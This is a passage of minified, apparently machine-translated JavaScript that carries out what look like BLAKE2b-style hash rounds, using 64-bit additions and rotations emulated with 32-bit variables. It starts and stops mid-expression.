a5 ^ Q5, 32), a5 = (F5 = y4) + O5 | 0, Q5 = ft2((w5 = h5 + S5 | 0) ^ nt3, (a5 = w5 >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5) ^ T3, 40), G5 = S5 = y4, T3 = a5, a5 = S5 + vt3 | 0, a5 = W3 + ((S5 = Q5 + pt3 | 0) >>> 0 < pt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, W3 = a5 = (S5 = f5 + S5 | 0) >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, f5 = ft2(h5 ^ S5, a5 ^ F5, 48), a5 = (F5 = y4) + T3 | 0, h5 = (w5 = f5 + w5 | 0) ^ Q5, Q5 = a5 = w5 >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, G5 = a5 = ft2(h5, a5 ^ G5, 1), T3 = h5 = y4, tt3 = B5, Z3 = d5, d5 = g5, g5 = ft2(v5 ^ U5, N6 ^ $3, 48), a5 = (v5 = y4) + b5 | 0, b5 = h5 = g5 + M5 | 0, U5 = a5 = h5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, d5 = ft2(h5 ^ d5, a5 ^ k5, 1), a5 = (k5 = y4) + _t3 | 0, a5 = ((h5 = d5 + it3 | 0) >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5) + E5 | 0, m5 = a5 = (B5 = h5 + m5 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(B5 ^ Z3, a5 ^ D5, 32), a5 = (E5 = y4) + I5 | 0, M5 = I5 = h5 + tt3 | 0, D5 = a5 = I5 >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, d5 = ft2(d5 ^ I5, a5 ^ k5, 40), a5 = n9 + (Z3 = y4) | 0, k5 = d5, a5 = m5 + ((d5 = mt3 + d5 | 0) >>> 0 < mt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, N6 = a5 = (I5 = d5 + B5 | 0) >>> 0 < B5 >>> 0 ? a5 + 1 | 0 : a5, d5 = ft2(h5 ^ I5, a5 ^ E5, 48), a5 = (a5 = D5) + (D5 = y4) | 0, M5 = h5 = d5 + M5 | 0, tt3 = a5 = h5 >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, m5 = l5, B5 = u5, a5 = R5 + et3 | 0, l5 = a5 = (h5 = _5 + P5 | 0) >>> 0 < _5 >>> 0 ? a5 + 1 | 0 : a5, u5 = ft2(h5 ^ C5, a5 ^ L5, 1), a5 = (C5 = y4) + At3 | 0, a5 = ((E5 = u5 + j5 | 0) >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5) + p5 | 0, p5 = ft2(m5 ^ (B5 = B5 + E5 | 0), (a5 = B5 >>> 0 < E5 >>> 0 ? a5 + 1 | 0 : a5) ^ q4, 32), E5 = a5, _5 = u5, a5 = (m5 = y4) + U5 | 0, a5 = (u5 = p5 + b5 | 0) >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, b5 = u5, u5 ^= _5, _5 = a5, u5 = ft2(u5, a5 ^ C5, 40), a5 = A8 + (U5 = y4) | 0, a5 = ((C5 = u5 + r11 | 0) >>> 0 < r11 >>> 0 ? a5 + 1 | 0 : a5) + E5 | 0, P5 = a5 = (E5 = C5) >>> 0 > (C5 = C5 + B5 | 0) >>> 0 ? a5 + 1 | 0 : a5, m5 = ft2(p5 ^ C5, a5 ^ m5, 48), et3 = a5 = y4, B5 = a5, p5 = ft2(K5 ^ X3, O5 ^ yt3, 1), R5 = a5 = y4, X3 = l5, a5 = a5 + Et3 | 0, a5 = H5 + ((l5 = p5 + V3 | 0) >>> 0 < V3 >>> 0 ? a5 + 1 | 0 : a5) | 0, E5 = v5, v5 = a5 = (l5 = l5 + x5 | 0) >>> 0 < x5 >>> 0 ? a5 + 1 | 0 : a5, E5 = ft2(g5 ^ l5, E5 ^ a5, 32), a5 = ($3 = y4) + X3 | 0, x5 = h5 = E5 + h5 | 0, g5 = ft2(h5 ^ p5, (g5 = R5) ^ (R5 = h5 >>> 0 < E5 >>> 0 ? a5 + 1 | 0 : a5), 40), a5 = kt3 + (X3 = y4) | 0, a5 = v5 + ((h5 = g5 + ht3 | 0) >>> 0 < ht3 >>> 0 ? a5 + 1 | 0 : a5) | 0, H5 = h5 = h5 + l5 | 0, K5 = a5 = h5 >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, l5 = a5, a5 = T3 + ut3 | 0, a5 = ((p5 = J5 + G5 | 0) >>> 0 < J5 >>> 0 ? a5 + 1 | 0 : a5) + l5 | 0, v5 = a5 = (l5 = h5 + p5 | 0) >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(l5 ^ m5, a5 ^ B5, 32), a5 = (q4 = y4) + tt3 | 0, B5 = ft2((p5 = h5 + M5 | 0) ^ G5, (a5 = p5 >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5) ^ T3, 40), G5 = a5, a5 = Y5 + (L5 = y4) | 0, a5 = v5 + ((O5 = B5 + ct3 | 0) >>> 0 < ct3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (v5 = l5 + O5 | 0) >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, l5 = q4, q4 = a5, l5 = ft2(h5 ^ v5, l5 ^ a5, 48), a5 = (a5 = G5) + (G5 = y4) | 0, h5 = (p5 = l5 + p5 | 0) ^ B5, B5 = a5 = p5 >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, L5 = a5 = ft2(h5, a5 ^ L5, 1), O5 = h5 = y4, T3 = d5, d5 = g5, g5 = ft2(E5 ^ H5, K5 ^ $3, 48), a5 = (a5 = R5) + (R5 = y4) | 0, x5 = h5 = g5 + x5 | 0, E5 = X3, X3 = a5 = h5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, d5 = ft2(h5 ^ d5, E5 ^ a5, 1), a5 = (H5 = y4) + vt3 | 0, a5 = P5 + ((h5 = d5 + pt3 | 0) >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5) | 0, E5 = C5, C5 = h5 + C5 | 0, h5 = D5, D5 = a5 = E5 >>> 0 > C5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(C5 ^ T3, h5 ^ a5, 32), a5 = (a5 = Q5) + (Q5 = y4) | 0, P5 = a5 = (E5 = h5 + w5 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, w5 = E5, d5 = ft2(d5 ^ E5, a5 ^ H5, 40), a5 = Et3 + ($3 = y4) | 0, H5 = d5, a5 = D5 + ((d5 = V3 + d5 | 0) >>> 0 < V3 >>> 0 ? a5 + 1 | 0 : a5) | 0, D5 = a5 = (E5 = d5 + C5 | 0) >>> 0 < C5 >>> 0 ? a5 + 1 | 0 : a5, d5 = ft2(h5 ^ E5, a5 ^ Q5, 48), a5 = (a5 = P5) + (P5 = y4) | 0, K5 = h5 = d5 + w5 | 0, T3 = a5 = h5 >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, w5 = f5, a5 = _5 + et3 | 0, f5 = a5 = (h5 = m5 + b5 | 0) >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, u5 = ft2(h5 ^ u5, a5 ^ U5, 1), a5 = It3 + (m5 = y4) | 0, a5 = N6 + ((C5 = u5 + rt3 | 0) >>> 0 < rt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, _5 = (C5 = I5 + C5 | 0) ^ w5, w5 = a5 = C5 >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5, I5 = ft2(_5, a5 ^ F5, 32), Q5 = a5 = y4, _5 = u5, a5 = a5 + X3 | 0, a5 = (u5 = I5 + x5 | 0) >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5, b5 = u5, u5 ^= _5, _5 = a5, u5 = ft2(u5, a5 ^ m5, 40), a5 = A8 + (U5 = y4) | 0, a5 = w5 + ((m5 = u5 + r11 | 0) >>> 0 < r11 >>> 0 ? a5 + 1 | 0 : a5) | 0, N6 = a5 = (m5 = C5 + m5 | 0) >>> 0 < C5 >>> 0 ? a5 + 1 | 0 : a5, w5 = ft2(I5 ^ m5, a5 ^ Q5, 48), et3 = a5 = y4, C5 = a5, I5 = ft2(k5 ^ M5, Z3 ^ tt3, 1), x5 = a5 = y4, M5 = f5, a5 = a5 + n9 | 0, a5 = W3 + ((f5 = I5 + mt3 | 0) >>> 0 < mt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, S5 = a5 = (f5 = f5 + S5 | 0) >>> 0 < S5 >>> 0 ? a5 + 1 | 0 : a5, Q5 = ft2(g5 ^ f5, a5 ^ R5, 32), a5 = (nt3 = y4) + M5 | 0, M5 = h5 = Q5 + h5 | 0, g5 = ft2(h5 ^ I5, (k5 = h5 >>> 0 < Q5 >>> 0 ? a5 + 1 | 0 : a5) ^ x5, 40), a5 = z4 + (R5 = y4) | 0, a5 = S5 + ((h5 = e6 + g5 | 0) >>> 0 < e6 >>> 0 ? a5 + 1 | 0 : a5) | 0, S5 = h5 = h5 + f5 | 0, X3 = a5 = h5 >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, f5 = a5, a5 = O5 + Bt3 | 0, a5 = ((I5 = L5 + at3 | 0) >>> 0 < at3 >>> 0 ? a5 + 1 | 0 : a5) + f5 | 0, x5 = a5 = (f5 = h5 + I5 | 0) >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(f5 ^ w5, a5 ^ C5, 32), a5 = (W3 = y4) + T3 | 0, C5 = ft2((I5 = h5 + K5 | 0) ^ L5, (a5 = I5 >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5) ^ O5, 40), F5 = a5, a5 = bt3 + (L5 = y4) | 0, a5 = x5 + ((O5 = C5 + gt3 | 0) >>> 0 < gt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (x5 = f5 + O5 | 0) >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, f5 = W3, W3 = a5, f5 = ft2(h5 ^ x5, f5 ^ a5, 48), a5 = (a5 = F5) + (F5 = y4) | 0, h5 = (I5 = f5 + I5 | 0) ^ C5, C5 = a5 = I5 >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, L5 = a5 = ft2(h5, a5 ^ L5, 1), yt3 = a5, O5 = h5 = y4, tt3 = p5, Z3 = d5, p5 = g5, g5 = ft2(Q5 ^ S5, X3 ^ nt3, 48), a5 = (Q5 = y4) + k5 | 0, S5 = h5 = g5 + M5 | 0, M5 = a5 = h5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ p5, a5 ^ R5, 1), a5 = (R5 = y4) + dt3 | 0, a5 = N6 + ((h5 = p5 + lt3 | 0) >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5) | 0, m5 = a5 = (d5 = h5 + m5 | 0) >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(d5 ^ Z3, a5 ^ P5, 32), a5 = (k5 = y4) + B5 | 0, P5 = a5 = (B5 = h5 + tt3 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(p5 ^ B5, a5 ^ R5, 40), a5 = _t3 + (nt3 = y4) | 0, N6 = p5, a5 = m5 + ((p5 = it3 + p5 | 0) >>> 0 < it3 >>> 0 ? a5 + 1 | 0 : a5) | 0, m5 = p5 + d5 | 0, p5 = k5, k5 = a5 = m5 >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ m5, p5 ^ a5, 48), a5 = (a5 = P5) + (P5 = y4) | 0, R5 = h5 = p5 + B5 | 0, X3 = a5 = h5 >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, d5 = l5, a5 = _5 + et3 | 0, l5 = a5 = (h5 = w5 + b5 | 0) >>> 0 < w5 >>> 0 ? a5 + 1 | 0 : a5, u5 = ft2(h5 ^ u5, a5 ^ U5, 1), a5 = (w5 = y4) + kt3 | 0, a5 = D5 + ((B5 = u5 + ht3 | 0) >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5) | 0, d5 = ft2(d5 ^ (B5 = B5 + E5 | 0), (a5 = B5 >>> 0 < E5 >>> 0 ? a5 + 1 | 0 : a5) ^ G5, 32), _5 = E5 = y4, E5 = a5, b5 = u5, a5 = _5 + M5 | 0, a5 = (u5 = d5 + S5 | 0) >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, S5 = u5, u5 ^= b5, b5 = a5, u5 = ft2(u5, a5 ^ w5, 40), a5 = Ct3 + (U5 = y4) | 0, a5 = ((w5 = u5 + st3 | 0) >>> 0 < st3 >>> 0 ? a5 + 1 | 0 : a5) + E5 | 0, D5 = _5, _5 = a5 = (E5 = B5 + w5 | 0) >>> 0 < w5 >>> 0 ? a5 + 1 | 0 : a5, w5 = ft2(d5 ^ E5, D5 ^ a5, 48), et3 = a5 = y4, B5 = a5, d5 = ft2(K5 ^ H5, T3 ^ $3, 1), M5 = a5 = y4, D5 = l5, a5 = a5 + At3 | 0, a5 = q4 + ((l5 = d5 + j5 | 0) >>> 0 < j5 >>> 0 ? a5 + 1 | 0 : a5) | 0, v5 = a5 = (l5 = l5 + v5 | 0) >>> 0 < v5 >>> 0 ? a5 + 1 | 0 : a5, Q5 = ft2(g5 ^ l5, a5 ^ Q5, 32), a5 = ($3 = y4) + D5 | 0, D5 = h5 = Q5 + h5 | 0, g5 = ft2(h5 ^ d5, (g5 = M5) ^ (M5 = h5 >>> 0 < Q5 >>> 0 ? a5 + 1 | 0 : a5), 40), a5 = Qt3 + (H5 = y4) | 0, a5 = v5 + ((h5 = g5 + ot3 | 0) >>> 0 < ot3 >>> 0 ? a5 + 1 | 0 : a5) | 0, K5 = h5 = h5 + l5 | 0, q4 = a5 = h5 >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, l5 = a5, a5 = O5 + A8 | 0, a5 = ((d5 = L5 + r11 | 0) >>> 0 < r11 >>> 0 ? a5 + 1 | 0 : a5) + l5 | 0, v5 = a5 = (l5 = h5 + d5 | 0) >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(l5 ^ w5, a5 ^ B5, 32), a5 = (L5 = y4) + X3 | 0, B5 = ft2((d5 = h5 + R5 | 0) ^ yt3, (a5 = d5 >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5) ^ O5, 40), O5 = a5, a5 = vt3 + (G5 = y4) | 0, a5 = v5 + ((T3 = B5 + pt3 | 0) >>> 0 < pt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (v5 = l5 + T3 | 0) >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, l5 = L5, L5 = a5, l5 = ft2(h5 ^ v5, l5 ^ a5, 48), a5 = (a5 = O5) + (O5 = y4) | 0, h5 = (d5 = l5 + d5 | 0) ^ B5, B5 = a5 = d5 >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, G5 = a5 = ft2(h5, a5 ^ G5, 1), T3 = h5 = y4, tt3 = I5, Z3 = p5, p5 = g5, g5 = ft2(Q5 ^ K5, q4 ^ $3, 48), a5 = (Q5 = y4) + M5 | 0, M5 = h5 = g5 + D5 | 0, D5 = a5 = h5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ p5, a5 ^ H5, 1), a5 = (H5 = y4) + _t3 | 0, a5 = _5 + ((h5 = p5 + it3 | 0) >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5) | 0, E5 = a5 = (I5 = h5 + E5 | 0) >>> 0 < E5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(I5 ^ Z3, a5 ^ P5, 32), a5 = (_5 = y4) + C5 | 0, P5 = a5 = (C5 = h5 + tt3 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(p5 ^ C5, a5 ^ H5, 40), a5 = At3 + ($3 = y4) | 0, H5 = p5, a5 = E5 + ((p5 = j5 + p5 | 0) >>> 0 < j5 >>> 0 ? a5 + 1 | 0 : a5) | 0, E5 = p5 + I5 | 0, p5 = _5, _5 = a5 = E5 >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ E5, p5 ^ a5, 48), a5 = (a5 = P5) + (P5 = y4) | 0, K5 = h5 = p5 + C5 | 0, q4 = a5 = h5 >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, I5 = f5, a5 = b5 + et3 | 0, f5 = a5 = (h5 = w5 + S5 | 0) >>> 0 < w5 >>> 0 ? a5 + 1 | 0 : a5, u5 = ft2(h5 ^ u5, a5 ^ U5, 1), a5 = Qt3 + (w5 = y4) | 0, a5 = k5 + ((C5 = u5 + ot3 | 0) >>> 0 < ot3 >>> 0 ? a5 + 1 | 0 : a5) | 0, m5 = a5 = (C5 = C5 + m5 | 0) >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, I5 = ft2(I5 ^ C5, a5 ^ F5, 32), S5 = a5 = y4, b5 = u5, a5 = a5 + D5 | 0, a5 = (u5 = I5 + M5 | 0) >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5, U5 = u5, u5 ^= b5, b5 = a5, u5 = ft2(u5, a5 ^ w5, 40), a5 = Bt3 + (M5 = y4) | 0, a5 = m5 + ((w5 = u5 + at3 | 0) >>> 0 < at3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (m5 = C5 + w5 | 0) >>> 0 < C5 >>> 0 ? a5 + 1 | 0 : a5, C5 = S5, S5 = a5, w5 = ft2(I5 ^ m5, C5 ^ a5, 48), et3 = a5 = y4, C5 = a5, I5 = ft2(N6 ^ R5, X3 ^ nt3, 1), D5 = a5 = y4, k5 = f5, a5 = a5 + z4 | 0, a5 = W3 + ((f5 = e6 + I5 | 0) >>> 0 < e6 >>> 0 ? a5 + 1 | 0 : a5) | 0, x5 = a5 = (f5 = f5 + x5 | 0) >>> 0 < x5 >>> 0 ? a5 + 1 | 0 : a5, Q5 = ft2(g5 ^ f5, a5 ^ Q5, 32), a5 = (nt3 = y4) + k5 | 0, k5 = h5 = Q5 + h5 | 0, g5 = ft2(h5 ^ I5, (g5 = D5) ^ (D5 = h5 >>> 0 < Q5 >>> 0 ? a5 + 1 | 0 : a5), 40), a5 = Et3 + (N6 = y4) | 0, a5 = x5 + ((h5 = g5 + V3 | 0) >>> 0 < V3 >>> 0 ? a5 + 1 | 0 : a5) | 0, R5 = h5 = h5 + f5 | 0, X3 = a5 = h5 >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, f5 = a5, a5 = T3 + It3 | 0, a5 = ((I5 = G5 + rt3 | 0) >>> 0 < rt3 >>> 0 ? a5 + 1 | 0 : a5) + f5 | 0, x5 = a5 = (f5 = h5 + I5 | 0) >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(f5 ^ w5, a5 ^ C5, 32), a5 = (W3 = y4) + q4 | 0, C5 = ft2((I5 = h5 + K5 | 0) ^ G5, (a5 = I5 >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5) ^ T3, 40), G5 = a5, a5 = n9 + (F5 = y4) | 0, a5 = x5 + ((T3 = C5 + mt3 | 0) >>> 0 < mt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (x5 = f5 + T3 | 0) >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, f5 = W3, W3 = a5, f5 = ft2(h5 ^ x5, f5 ^ a5, 48), a5 = (a5 = G5) + (G5 = y4) | 0, h5 = (I5 = f5 + I5 | 0) ^ C5, C5 = a5 = I5 >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, F5 = a5 = ft2(h5, a5 ^ F5, 1), T3 = h5 = y4, tt3 = d5, Z3 = p5, p5 = g5, g5 = ft2(Q5 ^ R5, X3 ^ nt3, 48), a5 = (Q5 = y4) + D5 | 0, D5 = h5 = g5 + k5 | 0, k5 = a5 = h5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ p5, a5 ^ N6, 1), a5 = (N6 = y4) + ut3 | 0, a5 = S5 + ((h5 = p5 + J5 | 0) >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5) | 0, m5 = a5 = (d5 = h5 + m5 | 0) >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(d5 ^ Z3, a5 ^ P5, 32), a5 = (S5 = y4) + B5 | 0, P5 = a5 = (B5 = h5 + tt3 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(p5 ^ B5, a5 ^ N6, 40), a5 = kt3 + (nt3 = y4) | 0, N6 = p5, a5 = m5 + ((p5 = ht3 + p5 | 0) >>> 0 < ht3 >>> 0 ? a5 + 1 | 0 : a5) | 0, m5 = p5 + d5 | 0, p5 = S5, S5 = a5 = m5 >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ m5, p5 ^ a5, 48), a5 = (a5 = P5) + (P5 = y4) | 0, R5 = h5 = p5 + B5 | 0, X3 = a5 = h5 >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, d5 = l5, a5 = b5 + et3 | 0, l5 = a5 = (h5 = w5 + U5 | 0) >>> 0 < w5 >>> 0 ? a5 + 1 | 0 : a5, u5 = ft2(h5 ^ u5, a5 ^ M5, 1), a5 = (w5 = y4) + Ct3 | 0, a5 = _5 + ((B5 = u5 + st3 | 0) >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5) | 0, E5 = a5 = (B5 = B5 + E5 | 0) >>> 0 < E5 >>> 0 ? a5 + 1 | 0 : a5, d5 = ft2(d5 ^ B5, a5 ^ O5, 32), _5 = a5 = y4, b5 = u5, a5 = a5 + k5 | 0, a5 = (u5 = d5 + D5 | 0) >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, U5 = u5, u5 ^= b5, b5 = a5, u5 = ft2(u5, a5 ^ w5, 40), a5 = dt3 + (M5 = y4) | 0, a5 = E5 + ((w5 = u5 + lt3 | 0) >>> 0 < lt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, D5 = _5, _5 = a5 = (E5 = B5 + w5 | 0) >>> 0 < B5 >>> 0 ? a5 + 1 | 0 : a5, w5 = ft2(d5 ^ E5, D5 ^ a5, 48), et3 = a5 = y4, B5 = a5, d5 = ft2(K5 ^ H5, q4 ^ $3, 1), D5 = a5 = y4, k5 = l5, a5 = a5 + Y5 | 0, a5 = L5 + ((l5 = d5 + ct3 | 0) >>> 0 < ct3 >>> 0 ? a5 + 1 | 0 : a5) | 0, v5 = a5 = (l5 = l5 + v5 | 0) >>> 0 < v5 >>> 0 ? a5 + 1 | 0 : a5, Q5 = ft2(g5 ^ l5, a5 ^ Q5, 32), a5 = ($3 = y4) + k5 | 0, k5 = h5 = Q5 + h5 | 0, g5 = ft2(h5 ^ d5, (g5 = D5) ^ (D5 = h5 >>> 0 < Q5 >>> 0 ? a5 + 1 | 0 : a5), 40), a5 = bt3 + (H5 = y4) | 0, a5 = v5 + ((h5 = g5 + gt3 | 0) >>> 0 < gt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, K5 = h5 = h5 + l5 | 0, q4 = a5 = h5 >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, l5 = a5, a5 = T3 + n9 | 0, a5 = ((d5 = F5 + mt3 | 0) >>> 0 < mt3 >>> 0 ? a5 + 1 | 0 : a5) + l5 | 0, v5 = a5 = (l5 = h5 + d5 | 0) >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(l5 ^ w5, a5 ^ B5, 32), a5 = (L5 = y4) + X3 | 0, B5 = ft2((d5 = h5 + R5 | 0) ^ F5, (a5 = d5 >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5) ^ T3, 40), O5 = a5, a5 = Qt3 + (F5 = y4) | 0, a5 = v5 + ((T3 = B5 + ot3 | 0) >>> 0 < ot3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (v5 = l5 + T3 | 0) >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, l5 = L5, L5 = a5, l5 = ft2(h5 ^ v5, l5 ^ a5, 48), a5 = (a5 = O5) + (O5 = y4) | 0, h5 = (d5 = l5 + d5 | 0) ^ B5, B5 = a5 = d5 >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, F5 = a5 = ft2(h5, a5 ^ F5, 1), T3 = h5 = y4, tt3 = I5, Z3 = p5, p5 = g5, g5 = ft2(Q5 ^ K5, q4 ^ $3, 48), a5 = (Q5 = y4) + D5 | 0, D5 = h5 = g5 + k5 | 0, k5 = a5 = h5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ p5, a5 ^ H5, 1), a5 = (H5 = y4) + Y5 | 0, a5 = _5 + ((h5 = p5 + ct3 | 0) >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5) | 0, E5 = a5 = (I5 = h5 + E5 | 0) >>> 0 < E5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(I5 ^ Z3, a5 ^ P5, 32), a5 = (_5 = y4) + C5 | 0, P5 = a5 = (C5 = h5 + tt3 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(p5 ^ C5, a5 ^ H5, 40), a5 = dt3 + ($3 = y4) | 0, H5 = p5, a5 = E5 + ((p5 = lt3 + p5 | 0) >>> 0 < lt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, E5 = p5 + I5 | 0, p5 = _5, _5 = a5 = E5 >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ E5, p5 ^ a5, 48), a5 = (a5 = P5) + (P5 = y4) | 0, K5 = h5 = p5 + C5 | 0, q4 = a5 = h5 >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, I5 = f5, a5 = b5 + et3 | 0, f5 = a5 = (h5 = w5 + U5 | 0) >>> 0 < w5 >>> 0 ? a5 + 1 | 0 : a5, u5 = ft2(h5 ^ u5, a5 ^ M5, 1), a5 = Ct3 + (w5 = y4) | 0, a5 = S5 + ((C5 = u5 + st3 | 0) >>> 0 < st3 >>> 0 ? a5 + 1 | 0 : a5) | 0, m5 = a5 = (C5 = C5 + m5 | 0) >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, I5 = ft2(I5 ^ C5, a5 ^ G5, 32), S5 = a5 = y4, b5 = u5, a5 = a5 + k5 | 0, a5 = (u5 = I5 + D5 | 0) >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5, U5 = u5, u5 ^= b5, b5 = a5, u5 = ft2(u5, a5 ^ w5, 40), a5 = kt3 + (M5 = y4) | 0, a5 = m5 + ((w5 = u5 + ht3 | 0) >>> 0 < ht3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (m5 = C5 + w5 | 0) >>> 0 < C5 >>> 0 ? a5 + 1 | 0 : a5, C5 = S5, S5 = a5, w5 = ft2(I5 ^ m5, C5 ^ a5, 48), et3 = a5 = y4, C5 = a5, I5 = ft2(N6 ^ R5, X3 ^ nt3, 1), D5 = a5 = y4, k5 = f5, a5 = a5 + At3 | 0, a5 = W3 + ((f5 = I5 + j5 | 0) >>> 0 < j5 >>> 0 ? a5 + 1 | 0 : a5) | 0, x5 = a5 = (f5 = f5 + x5 | 0) >>> 0 < x5 >>> 0 ? a5 + 1 | 0 : a5, Q5 = ft2(g5 ^ f5, a5 ^ Q5, 32), a5 = (nt3 = y4) + k5 | 0, k5 = h5 = Q5 + h5 | 0, g5 = ft2(h5 ^ I5, (g5 = D5) ^ (D5 = h5 >>> 0 < Q5 >>> 0 ? a5 + 1 | 0 : a5), 40), a5 = bt3 + (N6 = y4) | 0, a5 = x5 + ((h5 = g5 + gt3 | 0) >>> 0 < gt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, R5 = h5 = h5 + f5 | 0, X3 = a5 = h5 >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, f5 = a5, a5 = T3 + Et3 | 0, a5 = ((I5 = F5 + V3 | 0) >>> 0 < V3 >>> 0 ? a5 + 1 | 0 : a5) + f5 | 0, x5 = a5 = (f5 = h5 + I5 | 0) >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(f5 ^ w5, a5 ^ C5, 32), a5 = (W3 = y4) + q4 | 0, C5 = ft2((I5 = h5 + K5 | 0) ^ F5, (a5 = I5 >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5) ^ T3, 40), G5 = a5, a5 = z4 + (F5 = y4) | 0, a5 = x5 + ((T3 = e6 + C5 | 0) >>> 0 < e6 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (x5 = f5 + T3 | 0) >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, f5 = W3, W3 = a5, f5 = ft2(h5 ^ x5, f5 ^ a5, 48), a5 = (a5 = G5) + (G5 = y4) | 0, h5 = (I5 = f5 + I5 | 0) ^ C5, C5 = a5 = I5 >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, F5 = a5 = ft2(h5, a5 ^ F5, 1), T3 = h5 = y4, tt3 = d5, Z3 = p5, p5 = g5, g5 = ft2(Q5 ^ R5, X3 ^ nt3, 48), a5 = (Q5 = y4) + D5 | 0, D5 = h5 = g5 + k5 | 0, k5 = a5 = h5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ p5, a5 ^ N6, 1), a5 = (N6 = y4) + Bt3 | 0, a5 = S5 + ((h5 = p5 + 